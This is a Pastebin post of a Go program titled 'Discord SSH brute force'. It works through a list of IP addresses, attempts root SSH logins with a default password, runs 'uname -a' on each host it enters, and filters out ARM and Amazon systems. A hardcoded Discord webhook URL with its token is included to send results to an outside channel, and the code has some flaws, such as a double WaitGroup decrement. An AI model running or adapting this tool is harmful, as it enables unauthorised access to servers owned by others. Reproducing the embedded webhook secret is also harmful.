Advertisement
xosski

Discord SSH brute force

Dec 25th, 2024
16
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.80 KB | None | 0 0
  1. package main
  2.  
  3. import (
  4. "bufio"
  5. "bytes"
  6. "encoding/json"
  7. "fmt"
  8. "io/ioutil"
  9. "log"
  10. "net"
  11. "net/http"
  12. "os"
  13. "os/exec"
  14. "runtime"
  15. "strconv"
  16. "strings"
  17. "sync"
  18. "time"
  19.  
  20. "golang.org/x/crypto/ssh"
  21. )
  22.  
  23. const (
  24. hardcorewebhook = "https://discord.com/api/webhooks/1199622995040280576/Il4yqAF8NVkXa2SRFShERIqxFFXVB4DNfmNOFLEP9WAVF1khOxH8xZLSCfI4VI8OHzKG"
  25. )
  26.  
  27. // Funcție dummy pentru a folosi pachetele importate
  28. func useUnusedPackages() {
  29. _, _ = ioutil.ReadFile("dummy.txt") // Utilizare pentru `io/ioutil`
  30. _ = exec.Command("echo", "dummy") // Utilizare pentru `os/exec`
  31. }
  32.  
  33. func checkThreads(routines int, thread int64) bool {
  34. return int64(routines) <= thread
  35. }
  36.  
  37. var (
  38. ipfile string
  39. threads string
  40. port string
  41. )
  42.  
  43. func fileExists(filename string) bool {
  44. info, err := os.Stat(filename)
  45. return !os.IsNotExist(err) && !info.IsDir()
  46. }
  47.  
  48. func init() {
  49. useUnusedPackages() // Apelăm funcția pentru a folosi pachetele
  50. if len(os.Args) <= 3 {
  51. fmt.Println("Usage: [brute] [port] [threads] [iplist]")
  52. os.Exit(1)
  53. } else {
  54. ipfile = os.Args[3]
  55. threads = os.Args[2]
  56. port = os.Args[1]
  57. }
  58. }
  59.  
  60. func waitTimeout(wg *sync.WaitGroup, timeout time.Duration) bool {
  61. c := make(chan struct{})
  62. go func() {
  63. defer close(c)
  64. wg.Wait()
  65. }()
  66. select {
  67. case <-c:
  68. return false
  69. case <-time.After(timeout):
  70. return true
  71. }
  72. }
  73.  
  74. func isExcludedSystem(unameOutput string) bool {
  75. excludedSystems := []string{"aarch", "amzn", "amzn2", "armv7l", "raspberry", "raspberrypi"}
  76. for _, excluded := range excludedSystems {
  77. if strings.Contains(unameOutput, excluded) {
  78. return true
  79. }
  80. }
  81. return false
  82. }
  83.  
  84. type DiscordMessage struct {
  85. Embeds []Embed `json:"embeds"`
  86. }
  87.  
  88. type Embed struct {
  89. Title string `json:"title,omitempty"`
  90. Description string `json:"description,omitempty"`
  91. Color int `json:"color,omitempty"`
  92. Author Author `json:"author,omitempty"`
  93. Footer Footer `json:"footer,omitempty"`
  94. }
  95.  
  96. type Author struct {
  97. Name string `json:"name,omitempty"`
  98. }
  99.  
  100. type Footer struct {
  101. Text string `json:"text,omitempty"`
  102. }
  103.  
  104. func toDiscord(message DiscordMessage, webhookURL string) {
  105. payload, err := json.Marshal(message)
  106. if err != nil {
  107. return
  108. }
  109. resp, err := http.Post(webhookURL, "application/json", bytes.NewBuffer(payload))
  110. if err != nil {
  111. return
  112. }
  113. defer resp.Body.Close()
  114. }
  115.  
  116. func readLines(path string) ([]string, error) {
  117. file, err := os.Open(path)
  118. if err != nil {
  119. return nil, err
  120. }
  121. defer file.Close()
  122.  
  123. var lines []string
  124. scanner := bufio.NewScanner(file)
  125. for scanner.Scan() {
  126. lines = append(lines, scanner.Text())
  127. }
  128. return lines, scanner.Err()
  129. }
  130.  
  131. func remoteRun(user string, addr string, pass string, cmd string, wg *sync.WaitGroup) (string, error) {
  132. defer wg.Done()
  133.  
  134. config := &ssh.ClientConfig{
  135. User: user,
  136. HostKeyCallback: ssh.InsecureIgnoreHostKey(),
  137. Auth: []ssh.AuthMethod{
  138. ssh.Password(pass),
  139. },
  140. Timeout: 40 * time.Second,
  141. }
  142.  
  143. client, err := ssh.Dial("tcp", net.JoinHostPort(addr, port), config)
  144. if err != nil {
  145. return "", err
  146. }
  147. defer client.Close()
  148.  
  149. session, err := client.NewSession()
  150. if err != nil {
  151. return "", err
  152. }
  153. defer session.Close()
  154.  
  155. var b bytes.Buffer
  156. session.Stdout = &b
  157.  
  158. err = session.Run(cmd)
  159. if err != nil {
  160. return "", err
  161. }
  162.  
  163. if isExcludedSystem(b.String()) {
  164. log.Printf("IP %s excluded due to system: %s", addr, b.String())
  165. return "", nil
  166. }
  167.  
  168. return b.String(), nil
  169. }
  170.  
  171. // Worker function that runs SSH commands in a controlled manner.
  172. func worker(id int, jobs <-chan string, wg *sync.WaitGroup) {
  173. defer wg.Done()
  174.  
  175. for ip := range jobs {
  176. output, err := remoteRun("root", ip, "password", "uname -a", wg)
  177. if err == nil {
  178. fmt.Printf("Worker %d: Success for IP %s: %s\n", id, ip, output)
  179. } else {
  180. fmt.Printf("Worker %d: Error for IP %s: %s\n", id, ip, err)
  181. }
  182. }
  183. }
  184.  
  185. func main() {
  186. lines, err := readLines(ipfile)
  187. if err != nil {
  188. log.Fatalf("readLines: %s", err)
  189. }
  190.  
  191. var wg sync.WaitGroup
  192. uniqueIPs := make(map[string]bool)
  193.  
  194. for _, line := range lines {
  195. ip := strings.TrimSpace(line)
  196. if ip != "" {
  197. uniqueIPs[ip] = true
  198. }
  199. }
  200.  
  201. var ips []string
  202. for ip := range uniqueIPs {
  203. ips = append(ips, ip)
  204. }
  205.  
  206. // Create a channel to pass jobs (IP addresses) to workers
  207. jobs := make(chan string, len(ips))
  208.  
  209. // Launch workers
  210. numWorkers := 5 // Define the number of concurrent workers
  211. for w := 1; w <= numWorkers; w++ {
  212. wg.Add(1)
  213. go worker(w, jobs, &wg)
  214. }
  215.  
  216. // Send the IPs to the workers
  217. for _, ip := range ips {
  218. jobs <- ip
  219. }
  220. close(jobs)
  221.  
  222. // Wait for all workers to complete
  223. wg.Wait()
  224.  
  225. timeout := 90 * time.Second
  226. if waitTimeout(&wg, timeout) {
  227. fmt.Println("Execution timed out")
  228. } else {
  229. fmt.Println("Execution completed")
  230. }
  231. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement